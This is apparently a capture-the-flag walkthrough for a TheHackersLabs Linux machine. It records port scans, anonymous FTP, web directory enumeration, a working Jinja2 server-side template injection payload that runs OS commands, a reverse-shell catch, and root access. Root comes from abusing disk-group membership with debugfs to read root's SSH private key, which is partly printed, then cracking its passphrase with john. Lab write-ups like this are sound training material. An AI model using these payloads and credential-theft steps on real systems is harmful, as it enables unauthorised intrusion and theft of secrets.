TheHackersLabs — https://thehackerslabs.com/

  • Platform: TheHackersLabs
  • OS: Linux
  • Difficulty: Medium

Enumeration

Scan

21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.66.130
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0     0     34 May 16  2024 supermegaultraimportantebro.txt

22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 f4:f1:61:c9:94:fe:27:41:8c:63:56:28:06:a1:12:5f (ECDSA)
|_  256 3c:13:58:8b:6b:5a:16:0b:69:aa:1e:3a:40:57:21:91 (ED25519)

80/tcp   open  http    Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Knight Bootstrap Template - Index

5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.11.2)
|_http-server-header: Werkzeug/3.0.3 Python/3.11.2
|_http-title: \xC2\xA1Mi P\xC3\xA1gina Web!

FTP (21)

Software version

vsftpd 3.0.3

FTP content

  • Anonymous access allowed
ftp> ls -a
229 Entering Extended Passive Mode (|||46349|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 16  2024 .
drwxr-xr-x    2 0        0            4096 May 16  2024 ..
-rw-r--r--    1 0        0              34 May 16  2024 supermegaultraimportantebro.txt

supermegaultraimportantebro.txt

❯ cat supermegaultraimportantebro.txt
Gracias por venir, ahora vayase!!

SSH (22)

  • Password based authentication
❯ ssh root@192.168.66.179
The authenticity of host '192.168.66.179 (192.168.66.179)' can't be established.
ED25519 key fingerprint is: SHA256:F3OjFFzQXiCaifa+reryaJCdnjPukFzPeXTCI70bZqI
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.179' (ED25519) to the list of known hosts.
root@192.168.66.179's password:

HTTP (80)

80/tcp   open  http    Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Knight Bootstrap Template - Index

Software

image

Website features

  • forms/contact.php

image

  • HTML form related to contact.php
<form action="forms/contact.php" method="post" role="form" class="php-email-form" data-aos="fade-left">
  <div class="row">
    <div class="col-md-6 form-group">
      <input type="text" name="name" class="form-control" id="name" placeholder="Your Name" required>
    </div>
    <div class="col-md-6 form-group mt-3 mt-md-0">
      <input type="email" class="form-control" name="email" id="email" placeholder="Your Email" required>
    </div>
  </div>
  <div class="form-group mt-3">
    <input type="text" class="form-control" name="subject" id="subject" placeholder="Subject" required>
  </div>
  <div class="form-group mt-3">
    <textarea class="form-control" name="message" rows="5" placeholder="Message" required></textarea>
  </div>
  <div class="my-3">
    <div class="loading">Loading</div>
    <div class="error-message"></div>
    <div class="sent-message">Your message has been sent. Thank you!</div>
  </div>
  <div class="text-center"><button type="submit">Send Message</button></div>
</form>
  • Form seems not to work

image

image

  • Team

Names


  • Walter White (Chief Executive Officer)
  • Sarah Jhonson (Product Manager)
  • William Anderson (CTO)

Initial Enumeration

assets               (Status: 301) [Size: 317] [--> http://192.168.66.179/assets/]
forms                (Status: 301) [Size: 316] [--> http://192.168.66.179/forms/]
javascript           (Status: 301) [Size: 321] [--> http://192.168.66.179/javascript/]
index.html           (Status: 200) [Size: 41812]
Readme.txt           (Status: 200) [Size: 206]
server-status        (Status: 403) [Size: 279]

/assets/

  • Directory listing enable

image

/forms/

  • Directory listing enable

image

HTTP (5000)

5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.11.2)
|_http-server-header: Werkzeug/3.0.3 Python/3.11.2
|_http-title: \xC2\xA1Mi P\xC3\xA1gina Web!

Index

  • Just a image
  • HTML comment (seems to describe a directory)
<body>
    <img src="/static/imagen.jpg" alt="Descripción de la imagen">
</body>
</html>

<!-- /petrolhead -->

/petrolhead

image

  • HTML code
<form action="/petrolhead" method="post">
  <label for="user_input">98!!!:</label><br>
  <input type="text" id="user_input" name="user_input"><br><br>
  <input type="submit" value="Enviar">
</form>
  • Page returns the input

image

Information


  • Werkzeug/3.0.3 server is running on Python/3.11.2
  • Next step:

Server Side Template Injection (detection)

  • Reference:
  • Universal Detection Payloads
${{<%[%'"}}%\.
  • Vulnerable to SSTI

image

Template Injection Table

  • Reference:
  • Posible template engines:

image

Jinja2 - Exploit The SSTI By Calling os.popen().read()

  • After some tries Jinja2 has been identified
  • Reference
  • REQUEST (data)
user_input={{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
  • RESPONSE
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.11.2
Date: Wed, 25 Feb 2026 23:15:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 146
Connection: close

uid=1000(tcuser) gid=1000(tcuser) grupos=1000(tcuser),6(disk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

Exploitation

Reverse Shell (as tcuser)

image

❯ nc -nvlp 1337
listening on [any] 1337 ...
connect to [192.168.66.130] from (UNKNOWN) [192.168.66.179] 45024
bash: no se puede establecer el grupo de proceso de terminal (483): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
tcuser@SinPLomo98:~/prueba$ id
id
uid=1000(tcuser) gid=1000(tcuser) grupos=1000(tcuser),6(disk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

Post-Exploitation

Checking groups

tcuser@SinPLomo98:~$ groups | tr ' ' '\n'
tcuser
disk	<-- This one could be interesting
cdrom
floppy
audio
dip
video
plugdev
users
netdev

Privesc to Root

  • Reference:

image

Find where / is mounted

tcuser@SinPLomo98:~$ df -h
S.ficheros     Tamaño Usados  Disp Uso% Montado en
udev             962M      0  962M   0% /dev
tmpfs            197M   652K  197M   1% /run
/dev/sda1         19G   2,4G   16G  14% /
tmpfs            984M      0  984M   0% /dev/shm
tmpfs            5,0M      0  5,0M   0% /run/lock

Using debugfs

tcuser@SinPLomo98:~$ debugfs /dev/sda1
debugfs 1.47.0 (5-Feb-2023)

debugfs:  ls /root
WARNING: terminal is not fully functional
Press RETURN to continue 
 913931  (12) .    2  (12) ..    913923  (16) .profile   
 913988  (16) .bashrc    913924  (12) .ssh    914273  (16) .local   
 914366  (24) .bash_history    914278  (16) .cache    914363  (16) root.txt   
 914359  (16) .lesshst    914277  (24) .python_history   
 914364  (3904) .bash_history-00556.tmp   

debugfs:  ls /root/.ssh/
WARNING: terminal is not fully functional
Press RETURN to continue 
 913924  (12) .    913931  (12) ..    914358  (16) id_rsa   
 914361  (20) id_rsa.pub    914362  (4024) authorized_keys   
  • Reading id_rsa to copy/paste into a local file
debugfs:  cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCTkrWdzR
O/rgbxJO5rgjDoAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQCT0o/N70Qo
[...]
kkpg4cm+PxVLikWHgiHq2Dngn+k3Wtw9Ej07Y/c6pH5Fo5vka2kSnXbAvSVdw2ApjO2ZrW
2ZOJdg==
-----END OPENSSH PRIVATE KEY-----
debugfs:  

Root id_rsa asks for a password

❯ ssh -i id_rsa root@192.168.66.179
Enter passphrase for key 'id_rsa':

Finding the id_rsa password (ssh2john)

❯ ssh2john id_rsa > hash

❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:03:03 0.01% (ETA: 2026-03-30 19:41) 0g/s 6.366p/s 6.366c/s 6.366C/s russell..mississippi
angels1          (id_rsa)

Root access

❯ ssh -i id_rsa root@192.168.66.179
Enter passphrase for key 'id_rsa': 
Linux SinPLomo98 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu May 16 16:49:15 2024 from 192.168.0.108

root@SinPLomo98:~# id
uid=0(root) gid=0(root) grupos=0(root)

0 items under this folder.